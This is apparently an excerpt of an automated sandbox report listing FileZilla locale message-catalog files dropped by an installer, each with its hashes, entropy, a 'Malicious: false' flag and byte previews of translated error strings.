SSDEEP:	1536:eJSmUKzrAo6u6/UtWVRUZmLbM75mUqDgCYSoZXD5SH8vjyGQaT:eJSmtsT/z0mLoq/YSoZXDEijy7aT
MD5:	61B83DE54A9C9F3540FC495BC17FD645
SHA1:	067BD9A8A7123D2348401DB66AF9DD6C1763CBC0
SHA-256:	E104A8DEF226B36162FAE7EC3CC2721D2B51622B799D1845859FB2C33BDEA5AA
SHA-512:	D28E5A58CD49F9CE272F6E29C02F7A34E037D2A65B94A87AB7C50E5EB994EDD2435C99B53E3ED7280048F87874B488D1EEFF50D860C7B3D810FD9B0AD5D80769
Malicious:	false
Preview:	................T'.......N.......N.......N.......N..S....N.......O..A....O......^O..0...oO..B....O.......O.......O.......P.......P.......P......+P.."...EP......hP......yP.......P.......P.......P.......P.......P.......P.......P.......P..2....P......-Q......HQ..6...`Q.......Q.......Q.......Q..;....Q.......Q.......Q.......R.......R......!R......2R......MR......[R..+...dR.......R.......R.......R.......R.......R.......R..%....R......"S......*S......:S..4...PS.......S..:....S.......S.......S..4....T......7T......VT......`T......nT......{T.......T.......T.......T.......T.......T.......T.......T.......T.......T.......U......"U......<U......BU......VU......kU......rU.......U.......U..%....U..1....U..0....U......'V......8V......IV......hV......nV.......V.......V.......V.......V.......V.......V.......W..3....W..$...PW..$...uW..)....W.......W.......W.......W.......W.......X.......X...... X......4X......TX......pX......}X.. ....X.......X.......X.......X.......X.......X.......X.......X.......X......

C:\Program Files (x86)\Fzilla\locales\lo_LA\is-356G2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1255 messages, Project-Id-Version: FileZilla Lao '\340\273\203\340\272\212\340\273\211\340\273\200\340\272\247\340\272\245\340\272\262\340\273\204\340\272\233\340\273\201\340\272\245\340\273\211\340\272\247 %H:%M:%S'
Category:	dropped
Size (bytes):	174021
Entropy (8bit):	5.090992088442991
Encrypted:	false
SSDEEP:	1536:eJSmUKzrAo6u6/UtWVRUZmLbM75mUqDgCYSoZXD5SH8vjyGQaT:eJSmtsT/z0mLoq/YSoZXDEijy7aT
MD5:	61B83DE54A9C9F3540FC495BC17FD645
SHA1:	067BD9A8A7123D2348401DB66AF9DD6C1763CBC0
SHA-256:	E104A8DEF226B36162FAE7EC3CC2721D2B51622B799D1845859FB2C33BDEA5AA
SHA-512:	D28E5A58CD49F9CE272F6E29C02F7A34E037D2A65B94A87AB7C50E5EB994EDD2435C99B53E3ED7280048F87874B488D1EEFF50D860C7B3D810FD9B0AD5D80769
Malicious:	false
Preview:	................T'.......N.......N.......N.......N..S....N.......O..A....O......^O..0...oO..B....O.......O.......O.......P.......P.......P......+P.."...EP......hP......yP.......P.......P.......P.......P.......P.......P.......P.......P..2....P......-Q......HQ..6...`Q.......Q.......Q.......Q..;....Q.......Q.......Q.......R.......R......!R......2R......MR......[R..+...dR.......R.......R.......R.......R.......R.......R..%....R......"S......*S......:S..4...PS.......S..:....S.......S.......S..4....T......7T......VT......`T......nT......{T.......T.......T.......T.......T.......T.......T.......T.......T.......T.......U......"U......<U......BU......VU......kU......rU.......U.......U..%....U..1....U..0....U......'V......8V......IV......hV......nV.......V.......V.......V.......V.......V.......V.......W..3....W..$...PW..$...uW..)....W.......W.......W.......W.......W.......X.......X...... X......4X......TX......pX......}X.. ....X.......X.......X.......X.......X.......X.......X.......X.......X......

C:\Program Files (x86)\Fzilla\locales\lo_LA\is-S235G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 25 messages, Project-Id-Version: FileZilla Lao '\340\272\245\340\272\260\340\272\247\340\272\261\340\272\207! \340\273\203\340\272\232\340\272\256\340\272\261\340\272\232\340\272\256\340\272\255\340\272\207\340\272\226\340\272\267\340\272\201\340\272\233\340\272\273\340\272\224\340\272\255\340\272\255\340\272\201'
Category:	dropped
Size (bytes):	4012
Entropy (8bit):	5.239054463360799
Encrypted:	false
SSDEEP:	96:od5K0lk0eidtu5m2KS8anuV8pXOn5QSdwiXgHS:eXkAtEXnuOnSmyN
MD5:	52288DBEE33EA1486C884ABC9032CB87
SHA1:	2EFEBE51FAFF02249F104356771E41500CC919B0
SHA-256:	D01791A6FAB4A63E15769383D1C039E9DA4D865F31CC3A89017F5303595004FF
SHA-512:	40E3BF3FEADCDB36508B6F0A2912C9EDF7AC48C223AC378534111F65845DADE7F36A3EAA147F758575347E0905CAADCC30BF1361CDEE8A071B410A3442206EF8
Malicious:	false
Preview:	....................................$.......X.......R...+...!...~...........................................+...........;... ...[...0...\|...$...............,.......#.......%...=...$...c...%.......1...............5...........3.......;...D...........$...........`...}...N.......E...-...9...s...0.......W...........6...Q.......Z...".......}...H.......*...J.......u...H.......f...a...`.......b...)...Q.......W.......Y...6............Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Operation already in progress.Other system error.Out of memory.Process file table overflow.Protocol not supported on given socket type.Remote certificate not trusted..Resource temporarily unavailable.Server did not properly shut down TLS connection.Socket address outside address space.Socket has been shut d

C:\Program Files (x86)\Fzilla\locales\lo_LA\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 25 messages, Project-Id-Version: FileZilla Lao '\340\272\245\340\272\260\340\272\247\340\272\261\340\272\207! \340\273\203\340\272\232\340\272\256\340\272\261\340\272\232\340\272\256\340\272\255\340\272\207\340\272\226\340\272\267\340\272\201\340\272\233\340\272\273\340\272\224\340\272\255\340\272\255\340\272\201'
Category:	dropped
Size (bytes):	4012
Entropy (8bit):	5.239054463360799
Encrypted:	false
SSDEEP:	96:od5K0lk0eidtu5m2KS8anuV8pXOn5QSdwiXgHS:eXkAtEXnuOnSmyN
MD5:	52288DBEE33EA1486C884ABC9032CB87
SHA1:	2EFEBE51FAFF02249F104356771E41500CC919B0
SHA-256:	D01791A6FAB4A63E15769383D1C039E9DA4D865F31CC3A89017F5303595004FF
SHA-512:	40E3BF3FEADCDB36508B6F0A2912C9EDF7AC48C223AC378534111F65845DADE7F36A3EAA147F758575347E0905CAADCC30BF1361CDEE8A071B410A3442206EF8
Malicious:	false
Preview:	....................................$.......X.......R...+...!...~...........................................+...........;... ...[...0...\|...$...............,.......#.......%...=...$...c...%.......1...............5...........3.......;...D...........$...........`...}...N.......E...-...9...s...0.......W...........6...Q.......Z...".......}...H.......*...J.......u...H.......f...a...`.......b...)...Q.......W.......Y...6............Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Operation already in progress.Other system error.Out of memory.Process file table overflow.Protocol not supported on given socket type.Remote certificate not trusted..Resource temporarily unavailable.Server did not properly shut down TLS connection.Socket address outside address space.Socket has been shut d

C:\Program Files (x86)\Fzilla\locales\lt_LT\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1395 messages, Project-Id-Version: lt_LT_updated '%H:%M:%S pra\304\227jo'
Category:	dropped
Size (bytes):	133662
Entropy (8bit):	5.2741865088245525
Encrypted:	false
SSDEEP:	3072:VZkwej+VRmLzGdL4R0TCRQTE6ZBODw2zni6iL:V/ej+VGzYL4R0TCRN6GDwSc
MD5:	840B91093D860351B79F3CEEFCD6743E
SHA1:	165CA0EBAAC661DAD88AE71AECA9B7618FCF9E25
SHA-256:	E53F04338629B60F5490C5F740FDCB4A66835AABB7B980221A87FF606F3DF49B
SHA-512:	6D58E5695131D5B44692699100ED2AA25DEA8EF126D5D7380CCCDF78C785D83B9AB80CE9D381791F91ECF22D529D9D0303634F140E404596BA4C8F60051427A6
Malicious:	false
Preview:	........s........+......LW......LW......MW......^W..S...lW.......W..A....W.......X..0.../X..B...`X.......X.......X.......X.......X.......X.......X.......X.."....Y......2Y......CY......SY......aY......uY.......Y.......Y.......Y.......Y.......Y..2....Y.......Y.......Z..6...*Z......aZ......gZ......sZ.......Z..;....Z.......Z.......Z.......Z.......Z.......[.......[......5[......C[..+...L[......x[.......[.......[.......[.."....[.......[.......[..%....\......-\......5\......E\..4...[\.......\..:....\.......\.......\..4....]......B]......a]......k]......y].......].......].......].......].......].......].......].......].......].......^......"^......-^......G^......M^......a^......v^......}^.......^.......^..%....^..R....^..1..."_..0...T_......._......._......._......._......._......._......._.......`.......`......:`......Z`..3...e`..$....`..$....`..)....`.......a......#a......5a......Ba......Oa......Ta......ia......}a.......a.......a.......a.. ....a.......a.......a.......b.......b......"b......

C:\Program Files (x86)\Fzilla\locales\lt_LT\is-MG9DS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1395 messages, Project-Id-Version: lt_LT_updated '%H:%M:%S pra\304\227jo'
Category:	dropped
Size (bytes):	133662
Entropy (8bit):	5.2741865088245525
Encrypted:	false
SSDEEP:	3072:VZkwej+VRmLzGdL4R0TCRQTE6ZBODw2zni6iL:V/ej+VGzYL4R0TCRN6GDwSc
MD5:	840B91093D860351B79F3CEEFCD6743E
SHA1:	165CA0EBAAC661DAD88AE71AECA9B7618FCF9E25
SHA-256:	E53F04338629B60F5490C5F740FDCB4A66835AABB7B980221A87FF606F3DF49B
SHA-512:	6D58E5695131D5B44692699100ED2AA25DEA8EF126D5D7380CCCDF78C785D83B9AB80CE9D381791F91ECF22D529D9D0303634F140E404596BA4C8F60051427A6
Malicious:	false
Preview:	........s........+......LW......LW......MW......^W..S...lW.......W..A....W.......X..0.../X..B...`X.......X.......X.......X.......X.......X.......X.......X.."....Y......2Y......CY......SY......aY......uY.......Y.......Y.......Y.......Y.......Y..2....Y.......Y.......Z..6...*Z......aZ......gZ......sZ.......Z..;....Z.......Z.......Z.......Z.......Z.......[.......[......5[......C[..+...L[......x[.......[.......[.......[.."....[.......[.......[..%....\......-\......5\......E\..4...[\.......\..:....\.......\.......\..4....]......B]......a]......k]......y].......].......].......].......].......].......].......].......].......].......^......"^......-^......G^......M^......a^......v^......}^.......^.......^..%....^..R....^..1..."_..0...T_......._......._......._......._......._......._......._.......`.......`......:`......Z`..3...e`..$....`..$....`..)....`.......a......#a......5a......Ba......Oa......Ta......ia......}a.......a.......a.......a.. ....a.......a.......a.......b.......b......"b......

C:\Program Files (x86)\Fzilla\locales\lt_LT\is-OH3A2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 30 messages, Project-Id-Version: lt_LT_updated 'Sertifikatas gijoje buvo pasira\305\241ytas nesaugiu algoritmu'
Category:	dropped
Size (bytes):	2998
Entropy (8bit):	5.2693891328219635
Encrypted:	false
SSDEEP:	48:1jBmrOg6/Thq/TALeB4Z0UW1450oqcWm5/8XFDDKXonJGy+rcoz5McBA:FAKgSk0LeGuu50oQm5/4DJGy2o
MD5:	51EB51DDE2168EFE894984675CABCF72
SHA1:	C371F885F06E32A4B5BCC148EC302D380BF45408
SHA-256:	3BA1382198BA0A0D3AAC6FBAC96F7CEAD6554A0DA948A63698865900CA1FE449
SHA-512:	BE2DA6133C704C350CAAE8DC3DBE7FA919A24CB4DBFF68B434B625083DD83BA7F3BD5B93B8AB69FE0884734B04AAE34BB7DD820B71A2659B42031A9D671ACBD2
Malicious:	false
Preview:	....................................A...........?.......X...$...l...........X.......R.......!...].......................................................................7.......K...)...\...................................0.......#.......$...:......._...5...\|...................8.......................(.......$...G...M...l...M.......'....... ...0.......Q.......b.......}...........................)...................$...$...=.......b.......}...........'.......-.......,.......%...)...'...O...3...w............A certificate in the chain was signed using an insecure algorithm.Argument buffer overflow.Bad file descriptor.Beware! Certificate has been revoked.Cannot assign requested address.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.File descriptor not a socket.GnuTLS error %d.GnuTLS error %d in %s.GnuTLS error %d in %s: %s.GnuTLS error

C:\Program Files (x86)\Fzilla\locales\lt_LT\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 30 messages, Project-Id-Version: lt_LT_updated 'Sertifikatas gijoje buvo pasira\305\241ytas nesaugiu algoritmu'
Category:	dropped
Size (bytes):	2998
Entropy (8bit):	5.2693891328219635
Encrypted:	false
SSDEEP:	48:1jBmrOg6/Thq/TALeB4Z0UW1450oqcWm5/8XFDDKXonJGy+rcoz5McBA:FAKgSk0LeGuu50oQm5/4DJGy2o
MD5:	51EB51DDE2168EFE894984675CABCF72
SHA1:	C371F885F06E32A4B5BCC148EC302D380BF45408
SHA-256:	3BA1382198BA0A0D3AAC6FBAC96F7CEAD6554A0DA948A63698865900CA1FE449
SHA-512:	BE2DA6133C704C350CAAE8DC3DBE7FA919A24CB4DBFF68B434B625083DD83BA7F3BD5B93B8AB69FE0884734B04AAE34BB7DD820B71A2659B42031A9D671ACBD2
Malicious:	false
Preview:	....................................A...........?.......X...$...l...........X.......R.......!...].......................................................................7.......K...)...\...................................0.......#.......$...:......._...5...\|...................8.......................(.......$...G...M...l...M.......'....... ...0.......Q.......b.......}...........................)...................$...$...=.......b.......}...........'.......-.......,.......%...)...'...O...3...w............A certificate in the chain was signed using an insecure algorithm.Argument buffer overflow.Bad file descriptor.Beware! Certificate has been revoked.Cannot assign requested address.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.File descriptor not a socket.GnuTLS error %d.GnuTLS error %d in %s.GnuTLS error %d in %s: %s.GnuTLS error

C:\Program Files (x86)\Fzilla\locales\lv_LV\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1190 messages, Project-Id-Version: lv 'Pag\304\201ju\305\241as %H:%M:%S'
Category:	dropped
Size (bytes):	90734
Entropy (8bit):	5.344731706456686
Encrypted:	false
SSDEEP:	1536:dSPOGwXNAmMeHJeS575CoRM9T7jg8my/uLZFrp+a+A74+wQxhRx:PwmMiMKM9TE9JfxB
MD5:	EBAA9220652273AD45A1989B4326B085
SHA1:	A0B045387C1F23DC58885C89493C1C5D0F04D65B
SHA-256:	1DF2A7CD57D445CC780565C1A42536072F411FB456EA37C4F8F71F09B7093131
SHA-512:	6D11ADB05E5FF01E82A8EBE3DA94977A2215D7F45966F962B2268AB8F2B1BFCE07595BCEA1292E6728CC0DB3177C2C89D5173F70D0B78A6FC8DC85ACC450CF0A
Malicious:	false
Preview:	................L%......\|J......\|J......}J.......J.......J..A....J.......J..0....K..B...<K.......K.......K.......K.......K.......K.......K.......K.."....K.......L.......L......-L..5...AL......wL.......L.......L.......L.......L.......L.......L.......L..2....L.......M......7M..6...OM.......M.......M.......M.......M.......M.......M.......M.......M.......M.......M.......N......$N..+...-N......YN......lN......~N.......N.."....N.......N.......N..%....N.......O.......O.. ...&O......GO..4...]O.......O..:....O.......O.......O..4....P......DP......cP......mP......{P.......P.......P.......P.......P.......P.......P.......P.......P.......P.......Q.......Q......8Q......CQ......]Q......cQ......wQ.......Q.......Q.......Q.......Q.......Q..%....Q..1....Q..0... R......QR......bR......sR......yR.......R.......R.......R.......R.......R.......R.......R..$....S..$...(S..)...MS......wS.......S.......S.......S.......S.......S.......S.......S.......T......#T......0T......BT.. ...VT......wT......\|T.......T......

C:\Program Files (x86)\Fzilla\locales\lv_LV\is-8GHI6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1190 messages, Project-Id-Version: lv 'Pag\304\201ju\305\241as %H:%M:%S'
Category:	dropped
Size (bytes):	90734
Entropy (8bit):	5.344731706456686
Encrypted:	false
SSDEEP:	1536:dSPOGwXNAmMeHJeS575CoRM9T7jg8my/uLZFrp+a+A74+wQxhRx:PwmMiMKM9TE9JfxB
MD5:	EBAA9220652273AD45A1989B4326B085
SHA1:	A0B045387C1F23DC58885C89493C1C5D0F04D65B
SHA-256:	1DF2A7CD57D445CC780565C1A42536072F411FB456EA37C4F8F71F09B7093131
SHA-512:	6D11ADB05E5FF01E82A8EBE3DA94977A2215D7F45966F962B2268AB8F2B1BFCE07595BCEA1292E6728CC0DB3177C2C89D5173F70D0B78A6FC8DC85ACC450CF0A
Malicious:	false
Preview:	................L%......\|J......\|J......}J.......J.......J..A....J.......J..0....K..B...<K.......K.......K.......K.......K.......K.......K.......K.."....K.......L.......L......-L..5...AL......wL.......L.......L.......L.......L.......L.......L.......L..2....L.......M......7M..6...OM.......M.......M.......M.......M.......M.......M.......M.......M.......M.......M.......N......$N..+...-N......YN......lN......~N.......N.."....N.......N.......N..%....N.......O.......O.. ...&O......GO..4...]O.......O..:....O.......O.......O..4....P......DP......cP......mP......{P.......P.......P.......P.......P.......P.......P.......P.......P.......P.......Q.......Q......8Q......CQ......]Q......cQ......wQ.......Q.......Q.......Q.......Q.......Q..%....Q..1....Q..0... R......QR......bR......sR......yR.......R.......R.......R.......R.......R.......R.......R..$....S..$...(S..)...MS......wS.......S.......S.......S.......S.......S.......S.......S.......T......#T......0T......BT.. ...VT......wT......\|T.......T......

C:\Program Files (x86)\Fzilla\locales\lv_LV\is-HQ132.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 21 messages, Project-Id-Version: lv 'Uzmanieties! Sertifik\304\201ts ir ticis anul\304\223ts'
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	5.269666762687083
Encrypted:	false
SSDEEP:	48:IkIELBXLm2Hf5eCVz+weRekSXI5Uqcve/KznKGEzhE:lIEtbmKfdVzySXI5UVx/
MD5:	180EDB0EFD351573CCCA6281FFF5EF22
SHA1:	9967F5186433ADC7BC47B797F61AA0D6193A5D7D
SHA-256:	B5FC5367B7EB6648F67C1585259EB4AB6EE6488DAFD11E33829D5A55AD40D199
SHA-512:	3529A8A9530221805A724F41BD493B67CA81DA038E77B20E94874544822952C1A639476E8C32BFF0C745B2C47D80BB1CAA963336626D501AEAD4B52B1184D595
Malicious:	false
Preview:	........................l.......l...$...m...........................................!...........6.......L.......^.......r...............................................................(.......E.......M...+...........;...!...O.......q...........$.......-...........................&.......;.......O......._.......x...........................)....... ................Beware! Certificate has been revoked.Connection aborted.Connection attempt timed out.Connection refused by server.Connection reset by network.Connection reset by peer.Failed to verify peer certificate.Interrupted by signal.Message too large.Network unreachable.Operation already in progress.Operation in progress.Operation not supported.Other system error.Out of memory.Permission denied.Protocol not supported.Remote certificate not trusted..Unsupported certificate type.unknown.Project-Id-Version: lv.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2015-03-23 22:57+0200.Last-Translator: Ivo Simsons <sims

C:\Program Files (x86)\Fzilla\locales\lv_LV\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 21 messages, Project-Id-Version: lv 'Uzmanieties! Sertifik\304\201ts ir ticis anul\304\223ts'
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	5.269666762687083
Encrypted:	false
SSDEEP:	48:IkIELBXLm2Hf5eCVz+weRekSXI5Uqcve/KznKGEzhE:lIEtbmKfdVzySXI5UVx/
MD5:	180EDB0EFD351573CCCA6281FFF5EF22
SHA1:	9967F5186433ADC7BC47B797F61AA0D6193A5D7D
SHA-256:	B5FC5367B7EB6648F67C1585259EB4AB6EE6488DAFD11E33829D5A55AD40D199
SHA-512:	3529A8A9530221805A724F41BD493B67CA81DA038E77B20E94874544822952C1A639476E8C32BFF0C745B2C47D80BB1CAA963336626D501AEAD4B52B1184D595
Malicious:	false
Preview:	........................l.......l...$...m...........................................!...........6.......L.......^.......r...............................................................(.......E.......M...+...........;...!...O.......q...........$.......-...........................&.......;.......O......._.......x...........................)....... ................Beware! Certificate has been revoked.Connection aborted.Connection attempt timed out.Connection refused by server.Connection reset by network.Connection reset by peer.Failed to verify peer certificate.Interrupted by signal.Message too large.Network unreachable.Operation already in progress.Operation in progress.Operation not supported.Other system error.Out of memory.Permission denied.Protocol not supported.Remote certificate not trusted..Unsupported certificate type.unknown.Project-Id-Version: lv.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2015-03-23 22:57+0200.Last-Translator: Ivo Simsons <sims

C:\Program Files (x86)\Fzilla\locales\mk_MK\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 927 messages, Project-Id-Version: filezilla '%H:%M:%S \320\277\320\276\320\274\320\270\320\275\320\260\321\202\320\276'
Category:	dropped
Size (bytes):	90439
Entropy (8bit):	5.270634579670592
Encrypted:	false
SSDEEP:	1536:3oNFI+hnAA+qeVx7xlc7ciL+nPRZH7YNLtTzuoeVSaU4v5XBuyW:3w5JAlqek7cw+nPjGRHuoL4v5g
MD5:	3AA3C845E0D900B2608777C1DCC08E14
SHA1:	EF063F29F0B662918F29B6E6BAA855784FABC6B7
SHA-256:	3B585B68050C762CDD712C5FDF4100D68FDE7EE40847A293489CD64DA97804DC
SHA-512:	4568C1C02161D2825C652C34A4D14920BDC424ED4C8C43E02C90B98972C5813E893E4BDF25DD5B8640A0B8D9D81773935D2C098C91D6A39842B759BC00B90033
Malicious:	false
Preview:	.........................:.......:.......:.......:..S...,:.......:.......:..0....:..B....:......!;......+;......9;......I;.."...c;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......<..2....<......K<......f<..6...~<.......<.......<.......<..;....<.......=.......=......!=......3=......J=......[=..+...d=.......=.......=.......=.."....=.......=.......=..%....>......5>......=>......S>......_>......v>..4....>.......>.......>.......>.......>.......?.......?......"?......;?......D?......a?......l?.......?.......?.......?.......?.......?.......?..%....?..0....?......+@......<@......M@......l@......r@......{@.......@.......@.......@.......@..$....@..$....A..)...?A......iA.......A.......A.......A.......A.......A.......A.......A.......B.. ....B......6B......;B......SB......WB......]B......eB......uB......yB.......B.......B.......B.......B.......B.......B..)....B.......B.......B.......B.......C.......C.......C......"C......5C......CC......KC......WC......hC......pC......

C:\Program Files (x86)\Fzilla\locales\mk_MK\is-CSP33.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 5 messages, Project-Id-Version: filezilla '\320\235\320\265 \320\265 \320\264\320\276\321\201\321\202\320\260\320\277\320\275\320\260 \320\274\321\200\320\265\320\266\320\260\321\202\320\260'
Category:	dropped
Size (bytes):	896
Entropy (8bit):	5.626666021115751
Encrypted:	false
SSDEEP:	24:uqch80h45r/t0qtyijbCYbpJXmulpFuj6GGfrm8:unj45r2qciLbpkuOai8
MD5:	7E94E2D8D48B709C247A40473E07C87A
SHA1:	5C2DA1B16DAB5FEF9F89574883004508605A53A4
SHA-256:	8E80536EFC73E3257B817CC6C0DF2EE232F0B73393735CA619E391CF1423CBFE
SHA-512:	F78596C4B8A3F5F65786D774F25CD8F671D3485C8F1A855640CC04CE5ED124D780A4D4425098555727724CF17144701DE81CE95FC4BADA1B8117C52022E9F13D
Malicious:	false
Preview:	................D.......l.......l.......m...........0.......................'.......A.......a...........m....Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.unknown.Project-Id-Version: filezilla.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2005-11-12 22:18+0100.Last-Translator: Dimce Grozdanoski <dimce.grozdanoski@ridarec.com>.Language-Team: Macedonian.Language: mk_MK.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.X-Generator: KBabel 1.3.1.X-Poedit-Country: MACEDONIA.X-Poedit-Language: Macedonian.Plural-Forms: nplurals=2; plural=(n != 1);.... . ........ ................ .......... .. . .. ................ .. .. ........ .... ... ..... TLS ......................

C:\Program Files (x86)\Fzilla\locales\mk_MK\is-JN00M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 927 messages, Project-Id-Version: filezilla '%H:%M:%S \320\277\320\276\320\274\320\270\320\275\320\260\321\202\320\276'
Category:	dropped
Size (bytes):	90439
Entropy (8bit):	5.270634579670592
Encrypted:	false
SSDEEP:	1536:3oNFI+hnAA+qeVx7xlc7ciL+nPRZH7YNLtTzuoeVSaU4v5XBuyW:3w5JAlqek7cw+nPjGRHuoL4v5g
MD5:	3AA3C845E0D900B2608777C1DCC08E14
SHA1:	EF063F29F0B662918F29B6E6BAA855784FABC6B7
SHA-256:	3B585B68050C762CDD712C5FDF4100D68FDE7EE40847A293489CD64DA97804DC
SHA-512:	4568C1C02161D2825C652C34A4D14920BDC424ED4C8C43E02C90B98972C5813E893E4BDF25DD5B8640A0B8D9D81773935D2C098C91D6A39842B759BC00B90033
Malicious:	false
Preview:	.........................:.......:.......:.......:..S...,:.......:.......:..0....:..B....:......!;......+;......9;......I;.."...c;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......<..2....<......K<......f<..6...~<.......<.......<.......<..;....<.......=.......=......!=......3=......J=......[=..+...d=.......=.......=.......=.."....=.......=.......=..%....>......5>......=>......S>......_>......v>..4....>.......>.......>.......>.......>.......?.......?......"?......;?......D?......a?......l?.......?.......?.......?.......?.......?.......?..%....?..0....?......+@......<@......M@......l@......r@......{@.......@.......@.......@.......@..$....@..$....A..)...?A......iA.......A.......A.......A.......A.......A.......A.......A.......B.. ....B......6B......;B......SB......WB......]B......eB......uB......yB.......B.......B.......B.......B.......B.......B..)....B.......B.......B.......B.......C.......C.......C......"C......5C......CC......KC......WC......hC......pC......

C:\Program Files (x86)\Fzilla\locales\mk_MK\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 5 messages, Project-Id-Version: filezilla '\320\235\320\265 \320\265 \320\264\320\276\321\201\321\202\320\260\320\277\320\275\320\260 \320\274\321\200\320\265\320\266\320\260\321\202\320\260'
Category:	dropped
Size (bytes):	896
Entropy (8bit):	5.626666021115751
Encrypted:	false
SSDEEP:	24:uqch80h45r/t0qtyijbCYbpJXmulpFuj6GGfrm8:unj45r2qciLbpkuOai8
MD5:	7E94E2D8D48B709C247A40473E07C87A
SHA1:	5C2DA1B16DAB5FEF9F89574883004508605A53A4
SHA-256:	8E80536EFC73E3257B817CC6C0DF2EE232F0B73393735CA619E391CF1423CBFE
SHA-512:	F78596C4B8A3F5F65786D774F25CD8F671D3485C8F1A855640CC04CE5ED124D780A4D4425098555727724CF17144701DE81CE95FC4BADA1B8117C52022E9F13D
Malicious:	false
Preview:	................D.......l.......l.......m...........0.......................'.......A.......a...........m....Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.unknown.Project-Id-Version: filezilla.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2005-11-12 22:18+0100.Last-Translator: Dimce Grozdanoski <dimce.grozdanoski@ridarec.com>.Language-Team: Macedonian.Language: mk_MK.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.X-Generator: KBabel 1.3.1.X-Poedit-Country: MACEDONIA.X-Poedit-Language: Macedonian.Plural-Forms: nplurals=2; plural=(n != 1);.... . ........ ................ .......... .. . .. ................ .. .. ........ .... ... ..... TLS ......................

C:\Program Files (x86)\Fzilla\locales\nb_NO\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1630 messages, Project-Id-Version: FileZilla 3 '%H:%M:%S brukt'
Category:	dropped
Size (bytes):	150752
Entropy (8bit):	5.186689308381152
Encrypted:	false
SSDEEP:	3072:QULQR9jNx4omHRTd9FyYTVJNtwpVjp6DL7QCBGNzoXVgzyk5XwzmmkBLHHwUXiC2:Qf7v4lRp9FyYTVrWVjsDXQCBGNGm5XM5
MD5:	AFAE604BF822399D7856F5A9AFAC46A8
SHA1:	669A4FCC5A45A070390ECB178580FD3D1DB0F06F
SHA-256:	31E1EC6ADDE5C6488AA17765C9A75BD7BFC1E9B75C7ACF92CE4ACBE8FB6403E4
SHA-512:	5C284090ABCF6F23A4425BB062847BD1ABD6BA61043F31CC6DE01A44DDF1DC5DA91CB846184570FE05E21CAF311D2F42353E239AA1EB8DC999FA02A2C280DB1B
Malicious:	false
